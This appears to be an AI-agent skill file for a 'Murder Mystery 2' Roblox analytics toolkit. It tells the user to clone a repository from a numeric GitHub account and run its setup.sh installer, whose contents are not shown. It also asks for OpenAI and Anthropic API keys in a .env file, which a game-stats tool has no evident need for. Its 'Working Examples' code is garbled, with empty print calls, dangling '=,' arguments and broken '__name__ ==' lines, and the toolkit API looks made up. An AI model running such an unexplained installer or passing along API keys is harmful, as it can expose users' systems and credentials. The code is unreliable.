| name | mm2-roblox-analytics-toolkit |
| description | Murder Mystery 2 gameplay analytics, inventory tracking, and strategy optimization toolkit for Roblox |
| triggers | ["analyze my Murder Mystery 2 inventory","track MM2 knife skins and stats","optimize my Roblox MM2 strategy","set up Murder Mystery 2 analytics dashboard","export my MM2 collection data","configure roblox stats tracker","run mm2 performance analysis","generate murder mystery gameplay report"] |
MM2 Roblox Analytics Toolkit
Skill by ara.so — Data Skills collection.
This toolkit provides comprehensive analytics and inventory management for Roblox's Murder Mystery 2 game. It tracks knife skins, gamepasses, win/loss ratios, and provides AI-powered strategy insights through data visualization and pattern analysis.
Installation
Quick Setup (Automated)
git clone https://github.com/8015238355/mm2-analytics-dashboard-2026.git
cd mm2-analytics-dashboard-2026
chmod +x setup.sh
./setup.sh --install
Manual Installation
git clone https://github.com/8015238355/mm2-analytics-dashboard-2026.git
cd mm2-analytics-dashboard-2026
npm install
python3 -m pip install -r requirements.txt
Environment Configuration
Create a .env file in the project root:
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${ANTHROPIC_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
ROBLOX_USER_ID=${YOUR_ROBLOX_USER_ID}
Core Features
1. Inventory Management
Track and catalog your MM2 items including knife skins, gamepasses, and collectibles.
from mm2_toolkit import InventoryManager
inventory = InventoryManager(user_id=os.environ['ROBLOX_USER_ID'])
inventory.scan_inventory()
knife_skins = inventory.get_items(category='knife_skins', rarity='legendary')
inventory.export(format='json', output='my_inventory.json')
stats = inventory.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Legendary items: {stats['legendary_count']}")
print(f"Collection completion: {stats['completion_percentage']}%")
2. Analytics Dashboard
Generate gameplay statistics and performance metrics.
from mm2_toolkit import AnalyticsDashboard
dashboard = AnalyticsDashboard(profile='mystery_solver_01')
dashboard.load_data(date_range='last_30_days')
report = dashboard.generate_report(
metrics=['win_rate', 'avg_survival_time', 'role_performance'],
export_format='json'
)
dashboard.create_visualization(
chart_type='line',
metric='win_rate_over_time',
output='charts/performance.png'
)
3. Strategy Optimization
Analyze gameplay patterns and receive AI-powered recommendations.
from mm2_toolkit import StrategyOptimizer
optimizer = StrategyOptimizer(
openai_key=os.environ['API_OPENAI_KEY'],
claude_key=os.environ['API_CLAUDE_KEY']
)
patterns = optimizer.analyze_patterns(
role='sheriff',
game_count=50
)
recommendations = optimizer.get_recommendations(
current_strategy='aggressive_sheriff',
win_rate_target=0.75
)
for rec in recommendations:
print(f"Strategy: {rec['name']}")
print(f"Description: {rec['description']}")
print(f"Expected improvement: {rec['improvement_percentage']}%")
CLI Commands
Basic Usage
python3 main.py --mode analytics --profile mystery_solver_01
python3 main.py --mode inventory --export inventory.json --format json
python3 main.py --mode strategy --role sheriff --output strategy_report.pdf
python3 main.py --mode live --interval 60 --log-level INFO
Advanced Options
python3 main.py \
--mode analytics \
--profile mystery_solver_01 \
--export statistics_2026.json \
--format json \
--date-range "2026-01-01:2026-05-16" \
--verbose \
--log-level DEBUG
python3 main.py \
--mode batch \
--profiles profile1,profile2,profile3 \
--export-dir ./exports \
--parallel
python3 main.py \
--mode simulate \
--strategy aggressive_sheriff \
--iterations 1000 \
--output simulation_results.csv
Configuration Patterns
Profile Configuration (YAML)
profile:
username: "MysterySolver2026"
roblox_user_id: "${ROBLOX_USER_ID}"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: ["csv", "json"]
enable_ai_insights: true
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
risk_tolerance: 0.7
- name: "passive_innocent"
priority: "distraction_avoidance"
risk_tolerance: 0.3
Data Export Configuration
from mm2_toolkit import ExportManager
exporter = ExportManager()
exporter.export_inventory(
format='json',
include_metadata=True,
compress=True,
output='exports/inventory_backup.json.gz'
)
exporter.export_analytics(
formats=['csv', 'json', 'excel'],
date_range='last_7_days',
output_dir='exports/weekly_report'
)
exporter.schedule_export(
frequency='daily',
time='23:00',
formats=['json'],
output_dir='exports/daily_backups'
)
Working Examples
Complete Inventory Analysis
import os
from mm2_toolkit import InventoryManager, AnalyticsDashboard
from datetime import datetime
def analyze_inventory():
inventory = InventoryManager(user_id=os.environ['ROBLOX_USER_ID'])
dashboard = AnalyticsDashboard(profile='main_profile')
print("Scanning inventory...")
inventory.scan_inventory()
knife_stats = inventory.get_category_stats('knife_skins')
print(f"\nKnife Skins Summary:")
print(f"Total: {knife_stats['total']}")
print(f"Legendary: {knife_stats['legendary']}")
print(f"Ancient: {knife_stats['ancient']}")
total_value = inventory.calculate_total_value()
print(f"\nEstimated Inventory Value: {total_value} coins")
missing = inventory.get_missing_items(category='knife_skins')
print(f"\nMissing Legendary Skins: {len(missing)}")
for item in missing[:5]:
print(f" - (Drop rate: %)")
timestamp = datetime.now().strftime()
inventory.export(
=,
output=
)
()
__name__ == :
analyze_inventory()
Strategy Performance Tracking
import os
from mm2_toolkit import StrategyOptimizer, AnalyticsDashboard
def track_strategy_performance():
optimizer = StrategyOptimizer(
openai_key=os.environ.get('API_OPENAI_KEY'),
claude_key=os.environ.get('API_CLAUDE_KEY')
)
dashboard = AnalyticsDashboard(profile='competitive_player')
dashboard.load_data(date_range='last_14_days')
roles = ['sheriff', 'murderer', 'innocent']
results = {}
for role in roles:
performance = dashboard.get_role_performance(role)
patterns = optimizer.analyze_patterns(role=role, game_count=100)
results[role] = {
'win_rate': performance['win_rate'],
'avg_survival': performance['avg_survival_time'],
'games_played': performance['games_played'],
'top_strategy': patterns['most_successful_pattern'],
'improvement_areas': patterns['improvement_suggestions']
}
print(f"\n{role.upper()} Performance:")
print(f" Win Rate: {performance['win_rate']:.1%}")
print(f" Avg Survival: {performance['avg_survival_time']:f}s")
()
recommendations = optimizer.get_recommendations(
current_strategy=,
win_rate_target=
)
()
i, rec (recommendations[:], ):
()
()
()
dashboard.export_report(
data=results,
recommendations=recommendations,
=,
output=
)
__name__ == :
track_strategy_performance()
Live Data Collection
import os
import time
from mm2_toolkit import LiveTracker, DataCollector
def live_tracking_session():
tracker = LiveTracker(
user_id=os.environ['ROBLOX_USER_ID'],
refresh_rate=30
)
collector = DataCollector(output_dir='data/live_sessions')
print("Starting live tracking session...")
print("Press Ctrl+C to stop\n")
try:
tracker.start()
while True:
state = tracker.get_current_state()
if state['in_game']:
print(f"[{state['timestamp']}] Role: {state['role']}")
print(f" Status: {state['status']}")
print(f" Survival Time: {state['survival_time']}s")
collector.add_data_point(state)
else:
print(f"[{state['timestamp']}] Waiting for game...")
time.sleep(30)
except KeyboardInterrupt:
()
tracker.stop()
session_file = collector.save_session()
()
summary = collector.get_session_summary()
()
()
()
()
__name__ == :
live_tracking_session()
Troubleshooting
Common Issues
Issue: API rate limiting
from mm2_toolkit import APIClient
import time
client = APIClient(
rate_limit=10,
retry_attempts=3,
retry_delay=5
)
try:
data = client.fetch_inventory()
except APIClient.RateLimitError:
print("Rate limit reached. Waiting 60 seconds...")
time.sleep(60)
data = client.fetch_inventory()
Issue: Missing environment variables
import os
import sys
required_vars = ['ROBLOX_USER_ID', 'DATA_DIRECTORY']
missing = [var for var in required_vars if not os.environ.get(var)]
if missing:
print(f"Error: Missing environment variables: {', '.join(missing)}")
print("Please configure .env file with required variables")
sys.exit(1)
Issue: Data sync conflicts
python3 main.py --clear-cache
python3 main.py --mode inventory --force-sync
Issue: Export format errors
from mm2_toolkit import ExportManager
exporter = ExportManager()
supported = exporter.get_supported_formats()
print(f"Supported formats: {', '.join(supported)}")
try:
exporter.export_inventory(format='json', validate=True)
except ValueError as e:
print(f"Export error: {e}")
Best Practices
- Regular Backups: Schedule daily inventory exports
- API Key Security: Never commit API keys; use environment variables
- Data Validation: Validate imported data before analysis
- Rate Limiting: Respect API rate limits to avoid throttling
- Incremental Sync: Use incremental updates for large inventories
- Error Handling: Implement try-catch blocks for network operations
Additional Resources